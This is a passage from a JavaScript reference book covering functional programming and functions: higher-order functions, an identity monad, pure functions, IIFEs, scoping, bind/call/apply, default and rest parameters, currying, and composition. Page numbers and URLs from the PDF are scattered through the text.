What is Functional Programming ? Functional Programming or FP is a programming paradigm that is built upon two main concepts immutability, and statelessness.The goal behind FP is to make your code more readable, reusable, and portable.

What is Functional JavaScript There has been a debate to call JavaScript a functional language or not.However we can absolutely use JavaScript as a functional due to its nature:

• Has Pure Functions • Has First class functions • Has Higher Order Function • It supports Immutability • Has Closures • Recursion, and List Transforation Methods(Arrays) like map,reduce,filter..etc

The Examples should cover each concept in details, and the links provided here are just for reference, and should be removed once the concept is illustrated.

Examples

Accepting Functions as Arguments

function transform(fn, arr) { let result = []; for (let el of arr) { result.push(fn(el)); // We push the result of the transformed item to result } return result; }

console.log(transform(x => x * 2, [1,2,3,4])); // [2, 4, 6, 8]

As you can see, our transform function accepts two parameters, a function and a collection. It will then iterate the collection, and push values onto the result, calling fn on each of them.

Looks familiar? This is very similar to how Array.prototype.map() works!

console.log([1, 2, 3, 4].map(x => x * 2)); // [2, 4, 6, 8]

Higher-Order Functions

In general, functions that operate on other functions, either by taking them as arguments or by https://riptutorial.com/ 278 returning them (or both), are called higher-order functions.

A higher-order function is a function that can take another function as an argument. You are using higher-order functions when passing callbacks.

function iAmCallbackFunction() { console.log("callback has been invoked"); }

function iAmJustFunction(callbackFn) { // do some stuff ...

// invoke the callback function. callbackFn(); }

// invoke your higher-order function with a callback function. iAmJustFunction(iAmCallbackFunction);

A higher-order function is also a function that returns another function as its result.

function iAmJustFunction() { // do some stuff ...

// return a function. return function iAmReturnedFunction() { console.log("returned function has been invoked"); } }

// invoke your higher-order function and its returned function. iAmJustFunction()();

Identity Monad

This is an example of an implementation of the identity monad in JavaScript, and could serve as a starting point to create other monads.

Based on the conference by Douglas Crockford on monads and gonads

Using this approach reusing your functions will be easier because of the flexibility this monad provides, and composition nightmares:

f(g(h(i(j(k(value), j1), i2), h1, h2), g1, g2), f1, f2) readable, nice and clean:

identityMonad(value) .bind(k) .bind(j, j1, j2) .bind(i, i2) .bind(h, h1, h2) .bind(g, g1, g2) .bind(f, f1, f2); https://riptutorial.com/ 279 function identityMonad(value) { var monad = Object.create(null);

// func should return a monad monad.bind = function (func, ...args) { return func(value, ...args); };

// whatever func does, we get our monad back monad.call = function (func, ...args) { func(value, ...args);

return identityMonad(value); };

// func doesn't have to know anything about monads monad.apply = function (func, ...args) { return identityMonad(func(value, ...args)); };

// Get the value wrapped in this monad monad.value = function () { return value; };

return monad; };

It works with primitive values

var value = 'foo', f = x => x + ' changed', g = x => x + ' again';

identityMonad(value) .apply(f) .apply(g) .bind(alert); // Alerts 'foo changed again'

And also with objects

var value = { foo: 'foo' }, f = x => identityMonad(Object.assign(x, { foo: 'bar' })), g = x => Object.assign(x, { bar: 'foo' }), h = x => console.log('foo: ' + x.foo + ', bar: ' + x.bar);

identityMonad(value) .bind(f) .apply(g) .bind(h); // Logs 'foo: bar, bar: foo'

Let's try everything:

var add = (x, ...args) => x + args.reduce((r, n) => r + n, 0), multiply = (x, ...args) => x * args.reduce((r, n) => r * n, 1), divideMonad = (x, ...args) => identityMonad(x / multiply(...args)), log = x => console.log(x), https://riptutorial.com/ 280 substract = (x, ...args) => x - add(...args);

identityMonad(100) .apply(add, 10, 29, 13) .apply(multiply, 2) .bind(divideMonad, 2) .apply(substract, 67, 34) .apply(multiply, 1239) .bind(divideMonad, 20, 54, 2) .apply(Math.round) .call(log); // Logs 29

Pure Functions

A basic principle of functional programming is that it avoids changing the application state (statelessness) and variables outside it's scope (immutability).

Pure functions are functions that:

• with a given input, always return the same output • they do not rely on any variable outside their scope • they do not modify the state of the application (no side effects)

Let's take a look at some examples:

Pure functions must not change any variable outside their scope

Impure function

let obj = { a: 0 }

const impure = (input) => { // Modifies input.a input.a = input.a + 1; return input.a; }

let b = impure(obj) console.log(obj) // Logs { "a": 1 } console.log(b) // Logs 1

The function changed the obj.a value that is outside it's scope.

Pure function

let obj = { a: 0 }

const pure = (input) => { // Does not modify obj let output = input.a + 1; return output; }

let b = pure(obj) https://riptutorial.com/ 281 console.log(obj) // Logs { "a": 0 } console.log(b) // Logs 1

The function did not change the object obj values

Pure functions must not rely on variables outside their scope

Impure function

let a = 1;

let impure = (input) => { // Multiply with variable outside function scope let output = input * a; return output; }

console.log(impure(2)) // Logs 2 a++; // a becomes equal to 2 console.log(impure(2)) // Logs 4

This impure function rely on variable a that is defined outside it's scope. So, if a is modified, impure 's function result will be different.

Pure function

let pure = (input) => { let a = 1; // Multiply with variable inside function scope let output = input * a; return output; }

console.log(pure(2)) // Logs 2

The pure's function result does not rely on any variable outside it's scope.

Read Functional JavaScript online: https://riptutorial.com/javascript/topic/3122/functional-javascript

https://riptutorial.com/ 282 Chapter 48: Functions

Introduction

Functions in JavaScript provide organized, reusable code to perform a set of actions. Functions simplify the coding process, prevent redundant logic, and make code easier to follow. This topic describes the declaration and utilization of functions, arguments, parameters, return statements and scope in JavaScript.

Syntax

• function example(x) { return x }

• var example = function (x) { return x }

• (function() { ... })(); // Immediately Invoked Function Expression (IIFE)

• var instance = new Example(x);

• Methods

• fn.apply(valueForThis[, arrayOfArgs])

• fn.bind(valueForThis[, arg1[, arg2, ...]])

• fn.call(valueForThis[, arg1[, arg2, ...]])

• ES2015+ (ES6+):

• const example = x => { return x }; // Arrow function explicit return

• const example = x => x; // Arrow function implicit return

• const example = (x, y, z) => { ... } // Arrow function multiple arguments

• (() => { ... })(); // IIFE using an arrow function

Remarks

For information on arrow functions, please view the Arrow Functions documentation.

Examples

Functions as a variable

A normal function declaration looks like this: https://riptutorial.com/ 283 function foo(){ }

A function defined like this is accessible from anywhere within its context by its name. But sometimes it can be useful to treat function references like object references. For example, you can assign an object to a variable based on some set of conditions and then later retrieve a property from one or the other object:

var name = 'Cameron'; var spouse;

if ( name === 'Taylor' ) spouse = { name: 'Jordan' }; else if ( name === 'Cameron' ) spouse = { name: 'Casey' };

var spouseName = spouse.name;

In JavaScript, you can do the same thing with functions:

// Example 1 var hashAlgorithm = 'sha1'; var hash;

if ( hashAlgorithm === 'sha1' ) hash = function(value){ /*...*/ }; else if ( hashAlgorithm === 'md5' ) hash = function(value){ /*...*/ };

hash('Fred');

In the example above, hash is a normal variable. It is assigned a reference to a function, after which the function it references can be invoked using parentheses, just like a normal function declaration.

The example above references anonymous functions... functions that do not have their own name. You can also use variables to refer to named functions. The example above could be rewritten like so:

// Example 2 var hashAlgorithm = 'sha1'; var hash;

if ( hashAlgorithm === 'sha1' ) hash = sha1Hash; else if ( hashAlgorithm === 'md5' ) hash = md5Hash;

hash('Fred');

function md5Hash(value){ // ... }

function sha1Hash(value){ // ... }

Or, you can assign function references from object properties:

https://riptutorial.com/ 284 // Example 3 var hashAlgorithms = { sha1: function(value) { /**/ }, md5: function(value) { /**/ } };

var hashAlgorithm = 'sha1'; var hash;

if ( hashAlgorithm === 'sha1' ) hash = hashAlgorithms.sha1; else if ( hashAlgorithm === 'md5' ) hash = hashAlgorithms.md5;

hash('Fred');

You can assign the reference to a function held by one variable to another by omitting the parentheses. This can result in an easy-to-make mistake: attempting to assign the return value of a function to another variable, but accidentally assigning the reference to the function.

// Example 4 var a = getValue; var b = a; // b is now a reference to getValue. var c = b(); // b is invoked, so c now holds the value returned by getValue (41)

function getValue(){ return 41; }

A reference to a function is like any other value. As you've seen, a reference can be assigned to a variable, and that variable's reference value can be subsequently assigned to other variables. You can pass around references to functions like any other value, including passing a reference to a function as the return value of another function. For example:

// Example 5 // getHashingFunction returns a function, which is assigned // to hash for later use: var hash = getHashingFunction( 'sha1' ); // ... hash('Fred');

// return the function corresponding to the given algorithmName function getHashingFunction( algorithmName ){ // return a reference to an anonymous function if (algorithmName === 'sha1') return function(value){ /**/ }; // return a reference to a declared function else if (algorithmName === 'md5') return md5; }

function md5Hash(value){ // ... }

You don't need to assign a function reference to a variable in order to invoke it. This example, building off example 5, will call getHashingFunction and then immediately invoke the returned function and pass its return value to hashedValue. https://riptutorial.com/ 285 // Example 6 var hashedValue = getHashingFunction( 'sha1' )( 'Fred' );

A Note on Hoisting

Keep in mind that, unlike normal function declarations, variables that reference functions are not "hoisted". In example 2, the md5Hash and sha1Hash functions are defined at the bottom of the script, but are available everywhere immediately. No matter where you define a function, the interpreter "hoists" it to the top of its scope, making it immediately available. This is not the case for variable definitions, so code like the following will break:

var functionVariable;

hoistedFunction(); // works, because the function is "hoisted" to the top of its scope functionVariable(); // error: undefined is not a function.

function hoistedFunction(){} functionVariable = function(){};

Anonymous Function Defining an Anonymous Function

When a function is defined, you often give it a name and then invoke it using that name, like so:

foo();

function foo(){ // ... }

When you define a function this way, the Javascript runtime stores your function in memory and then creates a reference to that function, using the name you've assigned it. That name is then accessible within the current scope. This can be a very convenient way to create a function, but Javascript does not require you to assign a name to a function. The following is also perfectly legal:

function() { // ... }

When a function is defined without a name, it's known as an anonymous function. The function is stored in memory, but the runtime doesn't automatically create a reference to it for you. At first glance, it may appear as if such a thing would have no use, but there are several scenarios where anonymous functions are very convenient.

https://riptutorial.com/ 286 Assigning an Anonymous Function to a Variable

A very common use of anonymous functions is to assign them to a variable:

var foo = function(){ /*...*/ };

foo();

This use of anonymous functions is covered in more detail in Functions as a variable Supplying an Anonymous Function as a Parameter to Another Function

Some functions may accept a reference to a function as a parameter. These are sometimes referred to as "dependency injections" or "callbacks", because it allows the function your calling to "call back" to your code, giving you an opportunity to change the way the called function behaves. For example, the Array object's map function allows you to iterate over each element of an array, then build a new array by applying a transform function to each element.

var nums = [0,1,2]; var doubledNums = nums.map( function(element){ return element * 2; } ); // [0,2,4]

It would be tedious, sloppy and unnecessary to create a named function, which would clutter your scope with a function only needed in this one place and break the natural flow and reading of your code (a colleague would have to leave this code to find your function to understand what's going on). Returning an Anonymous Function From Another Function

Sometimes it's useful to return a function as the result of another function. For example:

var hash = getHashFunction( 'sha1' ); var hashValue = hash( 'Secret Value' );

function getHashFunction( algorithm ){

if ( algorithm === 'sha1' ) return function( value ){ /*...*/ }; else if ( algorithm === 'md5' ) return function( value ){ /*...*/ };

}

https://riptutorial.com/ 287 Immediately Invoking an Anonymous Function

Unlike many other languages, scoping in Javascript is function-level, not block-level. (See Function Scoping ). In some cases, however, it's necessary to create a new scope. For example, it's common to create a new scope when adding code via a

Self-Referential Anonymous Functions

Sometimes it's useful for an anonymous function to be able to refer to itself. For example, the function may need to recursively call itself or add properties to itself. If the function is anonymous, though, this can be very difficult as it requires knowledge of the variable that the function has been assigned to. This is the less than ideal solution:

var foo = function(callAgain){ console.log( 'Whassup?' ); // Less then ideal... we're dependent on a variable reference... if (callAgain === true) foo(false); };

foo(true);

// Console Output: // Whassup? https://riptutorial.com/ 288 // Whassup?

// Assign bar to the original function, and assign foo to another function. var bar = foo; foo = function(){ console.log('Bad.') };

bar(true);

// Console Output: // Whassup? // Bad.

The intent here was for the anonymous function to recursively call itself, but when the value of foo changes, you end up with a potentially difficult to trace bug.

Instead, we can give the anonymous function a reference to itself by giving it a private name, like so:

var foo = function myself(callAgain){ console.log( 'Whassup?' ); // Less then ideal... we're dependent on a variable reference... if (callAgain === true) myself(false); };

foo(true);

// Console Output: // Whassup? // Whassup?

// Assign bar to the original function, and assign foo to another function. var bar = foo; foo = function(){ console.log('Bad.') };

bar(true);

// Console Output: // Whassup? // Whassup?

Note that the function name is scoped to itself. The name has not leaked into the outer scope:

myself(false); // ReferenceError: myself is not defined

This technique is especially useful when dealing with recursive anonymous functions as callback parameters:

5

// Calculate the fibonacci value for each number in an array: var fib = false, result = [1,2,3,4,5,6,7,8].map( https://riptutorial.com/ 289 function fib(n){ return ( n <= 2 ) ? 1 : fib( n - 1 ) + fib( n - 2 ); }); // result = [1, 1, 2, 3, 5, 8, 13, 21] // fib = false (the anonymous function name did not overwrite our fib variable)

Immediately Invoked Function Expressions

Sometimes you don't want to have your function accessible/stored as a variable. You can create an Immediately Invoked Function Expression (IIFE for short). These are essentially self-executing anonymous functions. They have access to the surrounding scope, but the function itself and any internal variables will be inaccessible from outside. An important thing to note about IIFE is that even if you name your function, IIFE are not hoisted like standard functions are and cannot be called by the function name they are declared with.

(function() { alert("I've run - but can't be run again because I'm immediately invoked at runtime, leaving behind only the result I generate"); }());

This is another way to write IIFE. Notice that the closing parenthesis before the semicolon was moved and placed right after the closing curly bracket:

(function() { alert("This is IIFE too."); })();

You can easily pass parameters into an IIFE:

(function(message) { alert(message); }("Hello World!"));

Additionally, you can return values to the surrounding scope:

var example = (function() { return 42; }()); console.log(example); // => 42

If required it is possible to name an IIFE. While less often seen, this pattern has several advantages, such as providing a reference which can be used for a recursion and can make debugging simpler as the name is included in the callstack.

(function namedIIFE() { throw error; // We can now see the error thrown in 'namedIIFE()' }());

While wrapping a function in parenthesis is the most common way to denote to the Javascript parser to expect an expression, in places where an expression is already expected, the notation https://riptutorial.com/ 290 can be made more concise:

var a = function() { return 42 }(); console.log(a) // => 42

Arrow version of immediately invoked function:

6

(() => console.log("Hello!"))(); // => Hello!

Function Scoping

When you define a function, it creates a scope.

Everything defined within the function is not accessible by code outside the function. Only code within this scope can see the entities defined inside the scope.

function foo() { var a = 'hello'; console.log(a); // => 'hello' }

console.log(a); // reference error

Nested functions are possible in JavaScript and the same rules apply.

function foo() { var a = 'hello';

function bar() { var b = 'world'; console.log(a); // => 'hello' console.log(b); // => 'world' }

console.log(a); // => 'hello' console.log(b); // reference error }

console.log(a); // reference error console.log(b); // reference error

When JavaScript tries to resolve a reference or variable, it starts looking for it in the current scope. If it cannot find that declaration in the current scope, it climbs up one scope to look for it. This process repeats until the declaration has been found. If the JavaScript parser reaches the global scope and still cannot find the reference, a reference error will be thrown.

var a = 'hello';

function foo() { var b = 'world'; https://riptutorial.com/ 291

function bar() { var c = '!!';

console.log(a); // => 'hello' console.log(b); // => 'world' console.log(c); // => '!!' console.log(d); // reference error } }

This climbing behavior can also mean that one reference may "shadow" over a similarly named reference in the outer scope since it gets seen first.

var a = 'hello';

function foo() { var a = 'world';

function bar() { console.log(a); // => 'world' } }

6

The way JavaScript resolves scoping also applies to the const keyword. Declaring a variable with the const keyword implies that you are not allowed to reassign the value, but declaring it in a function will create a new scope and with that a new variable.

function foo() { const a = true;

function bar() { const a = false; // different variable console.log(a); // false }

const a = false; // SyntaxError a = false; // TypeError console.log(a); // true }

However, functions are not the only blocks that create a scope (if you are using let or const). let and const declarations have a scope of the nearest block statement. See here for a more detailed description.

Binding `this` and arguments

5.1

When you take a reference to a method (a property which is a function) in JavaScript, it usually doesn't remember the object it was originally attached to. If the method needs to refer to that object as this it won't be able to, and calling it will probably cause a crash. https://riptutorial.com/ 292 You can use the .bind() method on a function to create a wrapper that includes the value of this and any number of leading arguments.

var monitor = { threshold: 5, check: function(value) { if (value > this.threshold) { this.display("Value is too high!"); } }, display(message) { alert(message); } };

monitor.check(7); // The value of `this` is implied by the method call syntax.

var badCheck = monitor.check; badCheck(15); // The value of `this` is window object and this.threshold is undefined, so value > this.threshold is false

var check = monitor.check.bind(monitor); check(15); // This value of `this` was explicitly bound, the function works.

var check8 = monitor.check.bind(monitor, 8); check8(); // We also bound the argument to `8` here. It can't be re-specified.

When not in strict mode, a function uses the global object (window in the browser) as this, unless the function is called as a method, bound, or called with the method .call syntax.

window.x = 12;

function example() { return this.x; }

console.log(example()); // 12

In strict mode this is undefined by default

window.x = 12;

function example() { "use strict"; return this.x; }

console.log(example()); // Uncaught TypeError: Cannot read property 'x' of undefined(…)

7 Bind Operator

https://riptutorial.com/ 293 The double colon bind operator can be used as a shortened syntax for the concept explained above:

var log = console.log.bind(console); // long version const log = ::console.log; // short version

foo.bar.call(foo); // long version foo::bar(); // short version

foo.bar.call(foo, arg1, arg2, arg3); // long version foo::bar(arg1, arg2, arg3); // short version

foo.bar.apply(foo, args); // long version foo::bar(...args); // short version

This syntax allows you to write normally, without worrying about binding this everywhere. Binding console functions to variables

var log = console.log.bind(console);

Usage:

log('one', '2', 3, [4], {5: 5});

Output:

one 2 3 [4] Object {5: 5}

Why would you do that?

One use case can be when you have custom logger and you want to decide on runtime which one to use.

var logger = require('appLogger');

var log = logToServer ? logger.log : console.log.bind(console);

Function Arguments, "arguments" object, rest and spread parameters

Functions can take inputs in form of variables that can be used and assigned inside their own scope. The following function takes two numeric values and returns their sum:

function addition (argument1, argument2){ return argument1 + argument2; }

console.log(addition(2, 3)); // -> 5

https://riptutorial.com/ 294 arguments object

The arguments object contains all the function's parameters that contain a non-default value. It can also be used even if the parameters are not explicitly declared:

(function() { console.log(arguments) })(0,'str', [2,{3}]) // -> [0, "str", Array[2]]

Although when printing arguments the output resembles an Array, it is in fact an object:

(function() { console.log(typeof arguments) })(); // -> object

Rest parameters: function (...parm) {}

In ES6, the ... syntax when used in the declaration of a function's parameters transforms the variable to its right into a single object containing all the remaining parameters provided after the declared ones. This allows the function to be invoked with an unlimited number of arguments, which will become part of this variable:

(function(a, ...b){console.log(typeof b+': '+b[0]+b[1]+b[2]) })(0,1,'2',[3],{i:4}); // -> object: 123

Spread parameters: function_name(...varb);

In ES6, the ... syntax can also be used when invoking a function by placing an object/variable to its right. This allows that object's elements to be passed into that function as a single object:

let nums = [2,42,-1]; console.log(...['a','b','c'], Math.max(...nums)); // -> a b c 42

Named Functions

Functions can either be named or unnamed (anonymous functions):

var namedSum = function sum (a, b) { // named return a + b; }

var anonSum = function (a, b) { // anonymous return a + b; }

namedSum(1, 3); anonSum(1, 3);

4 https://riptutorial.com/ 295 4

But their names are private to their own scope:

var sumTwoNumbers = function sum (a, b) { return a + b; }

sum(1, 3);

Uncaught ReferenceError: sum is not defined

Named functions differ from the anonymous functions in multiple scenarios:

• When you are debugging, the name of the function will appear in the error/stack trace • Named functions are hoisted while anonymous functions are not • Named functions and anonymous functions behave differently when handling recursion • Depending on ECMAScript version, named and anonymous functions may treat the function name property differently

Named functions are hoisted

When using an anonymous function, the function can only be called after the line of declaration, whereas a named function can be called before declaration. Consider

foo(); var foo = function () { // using an anonymous function console.log('bar'); }

Uncaught TypeError: foo is not a function

foo(); function foo () { // using a named function console.log('bar'); }

bar

Named Functions in a recursive scenario

A recursive function can be defined as:

var say = function (times) { if (times > 0) { console.log('Hello!');

say(times - 1); https://riptutorial.com/ 296 } }

//you could call 'say' directly, //but this way just illustrates the example var sayHelloTimes = say;

sayHelloTimes(2);

Hello! Hello!

What if somewhere in your code the original function binding gets redefined?

var say = function (times) { if (times > 0) { console.log('Hello!');

say(times - 1); } }

var sayHelloTimes = say; say = "oops";

sayHelloTimes(2);

Hello! Uncaught TypeError: say is not a function

This can be solved using a named function

// The outer variable can even have the same name as the function // as they are contained in different scopes var say = function say (times) { if (times > 0) { console.log('Hello!');

// this time, 'say' doesn't use the outer variable // it uses the named function say(times - 1); } }

var sayHelloTimes = say; say = "oops";

sayHelloTimes(2);

Hello! Hello!

And as bonus, the named function can't be set to undefined, even from inside:

var say = function say (times) { https://riptutorial.com/ 297 // this does nothing say = undefined;

if (times > 0) { console.log('Hello!');

// this time, 'say' doesn't use the outer variable // it's using the named function say(times - 1); } }

var sayHelloTimes = say; say = "oops";

sayHelloTimes(2);

Hello! Hello!

The name property of functions

Before ES6, named functions had their name properties set to their function names, and anonymous functions had their name properties set to the empty string.

5

var foo = function () {} console.log(foo.name); // outputs ''

function foo () {} console.log(foo.name); // outputs 'foo'

Post ES6, named and unnamed functions both set their name properties:

6

var foo = function () {} console.log(foo.name); // outputs 'foo'

function foo () {} console.log(foo.name); // outputs 'foo'

var foo = function bar () {} console.log(foo.name); // outputs 'bar'

Recursive Function

A recursive function is simply a function, that would call itself.

function factorial (n) { if (n <= 1) { return 1; https://riptutorial.com/ 298 }

return n * factorial(n - 1); }

The above function shows a basic example of how to perform a recursive function to return a factorial.

Another example, would be to retrieve the sum of even numbers in an array.

function countEvenNumbers (arr) { // Sentinel value. Recursion stops on empty array. if (arr.length < 1) { return 0; } // The shift() method removes the first element from an array // and returns that element. This method changes the length of the array. var value = arr.shift();

// `value % 2 === 0` tests if the number is even or odd // If it's even we add one to the result of counting the remainder of // the array. If it's odd, we add zero to it. return ((value % 2 === 0) ? 1 : 0) + countEvens(arr); }

It is important that such functions make some sort of sentinel value check to avoid infinite loops. In the first example above, when n is less than or equal to 1, the recursion stops, allowing the result of each call to be returned back up the call stack.

Currying

Currying is the transformation of a function of n arity or arguments into a sequence of n functions taking only one argument.

Use cases: When the values of some arguments are available before others, you can use currying to decompose a function into a series of functions that complete the work in stages, as each value arrives. This can be useful:

• When the value of an argument almost never changes (e.g., a conversion factor), but you need to maintain the flexibility of setting that value (rather than hard-coding it as a constant). • When the result of a curried function is useful before the other curried functions have run. • To validate the arrival of the functions in a specific sequence.

For example, the volume of a rectangular prism can be explained by a function of three factors: length (l), width (w), and height (h):

var prism = function(l, w, h) { return l * w * h; }

A curried version of this function would look like: https://riptutorial.com/ 299 function prism(l) { return function(w) { return function(h) { return l * w * h; } } }

6

// alternatively, with concise ECMAScript 6+ syntax: var prism = l => w => h => l * w * h;

You can call these sequence of functions with prism(2)(3)(5), which should evaluate to 30.

Without some extra machinery (like with libraries), currying is of limited syntactical flexibility in JavaScript (ES 5/6) due to the lack of placeholder values; thus, while you can use var a = prism(2)(3) to create a partially applied function, you cannot use prism()(3)(5).

Using the Return Statement

The return statement can be a useful way to create output for a function. The return statement is especially useful if you do not know in which context the function will be used yet.

//An example function that will take a string as input and return //the first character of the string.

function firstChar (stringIn){ return stringIn.charAt(0); }

Now to use this function, you need to put it in place of a variable somewhere else in your code:

Using the function result as an argument for another function:

console.log(firstChar("Hello world"));

Console output will be:

> H

The return statement ends the function

If we modify the function in the beginning, we can demonstrate that the return statement ends the function.

function firstChar (stringIn){ console.log("The first action of the first char function"); return stringIn.charAt(0); console.log("The last action of the first char function"); }

https://riptutorial.com/ 300 Running this function like so will look like this:

console.log(firstChar("JS"));

Console output:

> The first action of the first char function > J

It will not print the message after the return statement, as the function has now been ended.

Return statement spanning multiple lines:

In JavaScript, you can normally split up a line of code into many lines for readability purposes or organization. This is valid JavaScript:

var name = "bob", age = 18;

When JavaScript sees an incomplete statement like var it looks to the next line to complete itself. However, if you make the same mistake with the return statement, you will not get what you expected.

return "Hi, my name is "+ name + ". " + "I'm "+ age + " years old.";

This code will return undefined because return by itself is a complete statement in Javascript, so it will not look to the next line to complete itself. If you need to split up a return statement into multiple lines, put a value next to return before you split it up, like so.

return "Hi, my name is " + name + ". " + "I'm " + age + " years old.";

Passing arguments by reference or value

In JavaScript all arguments are passed by value. When a function assigns a new value to an argument variable, that change will not be visible to the caller:

var obj = {a: 2}; function myfunc(arg){ arg = {a: 5}; // Note the assignment is to the parameter variable itself } myfunc(obj); console.log(obj.a); // 2

However, changes made to (nested) properties of such arguments, will be visible to the caller:

https://riptutorial.com/ 301 var obj = {a: 2}; function myfunc(arg){ arg.a = 5; // assignment to a property of the argument } myfunc(obj); console.log(obj.a); // 5

This can be seen as a call by reference: although a function cannot change the caller's object by assigning a new value to it, it could mutate the caller's object.

As primitive valued arguments, like numbers or strings, are immutable, there is no way for a function to mutate them:

var s = 'say'; function myfunc(arg){ arg += ' hello'; // assignment to the parameter variable itself } myfunc(s); console.log(s); // 'say'

When a function wants to mutate an object passed as argument, but does not want to actually mutate the caller's object, the argument variable should be reassigned:

6

var obj = {a: 2, b: 3}; function myfunc(arg){ arg = Object.assign({}, arg); // assignment to argument variable, shallow copy arg.a = 5; } myfunc(obj); console.log(obj.a); // 2

As an alternative to in-place mutation of an argument, functions can create a new value, based on the argument, and return it. The caller can then assign it, even to the original variable that was passed as argument:

var a = 2; function myfunc(arg){ arg++; return arg; } a = myfunc(a); console.log(obj.a); // 3

Call and apply

Functions have two built-in methods that allow the programmer to supply arguments and the this variable differently: call and apply.

This is useful, because functions that operate on one object (the object that they are a property of) can be repurposed to operate on another, compatible object. Additionally, arguments can be given https://riptutorial.com/ 302 in one shot as arrays, similar to the spread (...) operator in ES6.

let obj = { a: 1, b: 2, set: function (a, b) { this.a = a; this.b = b; } };

obj.set(3, 7); // normal syntax obj.set.call(obj, 3, 7); // equivalent to the above obj.set.apply(obj, [3, 7]); // equivalent to the above; note that an array is used

console.log(obj); // prints { a: 3, b: 5 }

let myObj = {}; myObj.set(5, 4); // fails; myObj has no `set` property obj.set.call(myObj, 5, 4); // success; `this` in set() is re-routed to myObj instead of obj obj.set.apply(myObj, [5, 4]); // same as above; note the array

console.log(myObj); // prints { a: 3, b: 5 }

5

ECMAScript 5 introduced another method called bind() in addition to call() and apply() to explicitly set this value of the function to specific object.

It behaves quite differently than the other two. The first argument to bind() is the this value for the new function. All other arguments represent named parameters that should be permanently set in the new function.

function showName(label) { console.log(label + ":" + this.name); } var student1 = { name: "Ravi" }; var student2 = { name: "Vinod" };

// create a function just for student1 var showNameStudent1 = showName.bind(student1); showNameStudent1("student1"); // outputs "student1:Ravi"

// create a function just for student2 var showNameStudent2 = showName.bind(student2, "student2"); showNameStudent2(); // outputs "student2:Vinod"

// attaching a method to an object doesn't change `this` value of that method. student2.sayName = showNameStudent1; student2.sayName("student2"); // outputs "student2:Ravi"

Default parameters

https://riptutorial.com/ 303 Before ECMAScript 2015 (ES6), a parameter's default value could be assigned in the following way:

function printMsg(msg) { msg = typeof msg !== 'undefined' ? // if a value was provided msg : // then, use that value in the reassignemnt 'Default value for msg.'; // else, assign a default value console.log(msg); }

ES6 provided a new syntax where the condition and reassignment depicted above is no longer necessary:

6

function printMsg(msg='Default value for msg.') { console.log(msg); }

printMsg(); // -> "Default value for msg." printMsg(undefined); // -> "Default value for msg." printMsg('Now my msg in different!'); // -> "Now my msg in different!"

This also shows that if a parameter is missing when the function is invoked, its value is kept as undefined, as it can be confirmed by explicitly providing it in the following example (using an arrow function):

6

let param_check = (p = 'str') => console.log(p + ' is of type: ' + typeof p);

param_check(); // -> "str is of type: string" param_check(undefined); // -> "str is of type: string"

param_check(1); // -> "1 is of type: number" param_check(this); // -> "[object Window] is of type: object"

Functions/variables as default values and reusing parameters

The default parameters' values are not restricted to numbers, strings or simple objects. A function can also be set as the default value callback = function(){}:

6

function foo(callback = function(){ console.log('default'); }) { callback(); }

foo(function (){ https://riptutorial.com/ 304 console.log('custom'); }); // custom

foo(); //default

There are certain characteristics of the operations that can be performed through default values:

• A previously declared parameter can be reused as a default value for the upcoming parameters' values. • Inline operations are allowed when assigning a default value to a parameter. • Variables existing in the same scope of the function being declared can be used in its default values. • Functions can be invoked in order to provide their return value into a default value.

6

let zero = 0; function multiply(x) { return x * 2;}

function add(a = 1 + zero, b = a, c = b + a, d = multiply(c)) { console.log((a + b + c), d); }

add(1); // 4, 4 add(3); // 12, 12 add(2, 7); // 18, 18 add(1, 2, 5); // 8, 10 add(1, 2, 5, 10); // 8, 20

Reusing the function's return value in a new invocation's default value:

6

let array = [1]; // meaningless: this will be overshadowed in the function's scope function add(value, array = []) { array.push(value); return array; } add(5); // [5] add(6); // [6], not [5, 6] add(6, add(5)); // [5, 6]

arguments value and length when lacking parameters in invocation

The arguments array object only retains the parameters whose values are not default, i.e. those that https://riptutorial.com/ 305 are explicitly provided when the function is invoked:

6

function foo(a = 1, b = a + 1) { console.info(arguments.length, arguments); console.log(a,b); }

foo(); // info: 0 >> [] | log: 1, 2 foo(4); // info: 1 >> [4] | log: 4, 5 foo(5, 6); // info: 2 >> [5, 6] | log: 5, 6

Functions with an Unknown Number of Arguments (variadic functions)

To create a function which accepts an undetermined number of arguments, there are two methods depending on your environment.

5

Whenever a function is called, it has an Array-like arguments object in its scope, containing all the arguments passed to the function. Indexing into or iterating over this will give access to the arguments, for example

function logSomeThings() { for (var i = 0; i < arguments.length; ++i) { console.log(arguments[i]); } }

logSomeThings('hello', 'world'); // logs "hello" // logs "world"

Note that you can convert arguments to an actual Array if need-be; see: Converting Array-like Objects to Arrays

6

From ES6, the function can be declared with it's last parameter using the rest operator (...). This creates an Array which holds the arguments from that point onwards

function personLogsSomeThings(person, ...msg) { msg.forEach(arg => { console.log(person, 'says', arg); }); }

personLogsSomeThings('John', 'hello', 'world'); // logs "John says hello" // logs "John says world"

Functions can also be called with similar way, the spread syntax https://riptutorial.com/ 306 const logArguments = (...args) => console.log(args) const list = [1, 2, 3]

logArguments('a', 'b', 'c', ...list) // output: Array [ "a", "b", "c", 1, 2, 3 ]

This syntax can be use to insert arbitrary number of arguments to any position, and can be used with any iterable(apply accepts only array-like objects).

const logArguments = (...args) => console.log(args) function* generateNumbers() { yield 6 yield 5 yield 4 }

logArguments('a', ...generateNumbers(), ...'pqr', 'b') // output: Array [ "a", 6, 5, 4, "p", "q", "r", "b" ]

Get the name of a function object

6

ES6:

myFunction.name

Explanation on MDN. As of 2015 works in nodejs and all major browsers except IE.

5

ES5:

If you have a reference to the function, you can do:

function functionName( func ) { // Match: // - ^ the beginning of the string // - function the word 'function' // - \s+ at least some white space // - ([\w\$]+) capture one or more valid JavaScript identifier characters // - \( followed by an opening brace // var result = /^function\s+([\w\$]+)\(/.exec( func.toString() )

return result ? result[1] : '' }

Partial Application

Similar to currying, partial application is used to reduce the number of arguments passed to a https://riptutorial.com/ 307 function. Unlike currying, the number need not go down by one.

Example:

This function ...

function multiplyThenAdd(a, b, c) { return a * b + c; }

... can be used to create another function that will always multiply by 2 and then add 10 to the passed value;

function reversedMultiplyThenAdd(c, b, a) { return a * b + c; }

function factory(b, c) { return reversedMultiplyThenAdd.bind(null, c, b); }

var multiplyTwoThenAddTen = factory(2, 10); multiplyTwoThenAddTen(10); // 30

The "application" part of partial application simply means fixing parameters of a function.

Function Composition

Composing multiple functions into one is a functional programming common practice; composition makes a pipeline through which our data will transit and get modified simply working on the function-composition (just like snapping pieces of a track together)... you start out with some single responsibility functions:

6

const capitalize = x => x.replace(/^\w/, m => m.toUpperCase()); const sign = x => x + ',\nmade with love'; and easily create a transformation track:

6

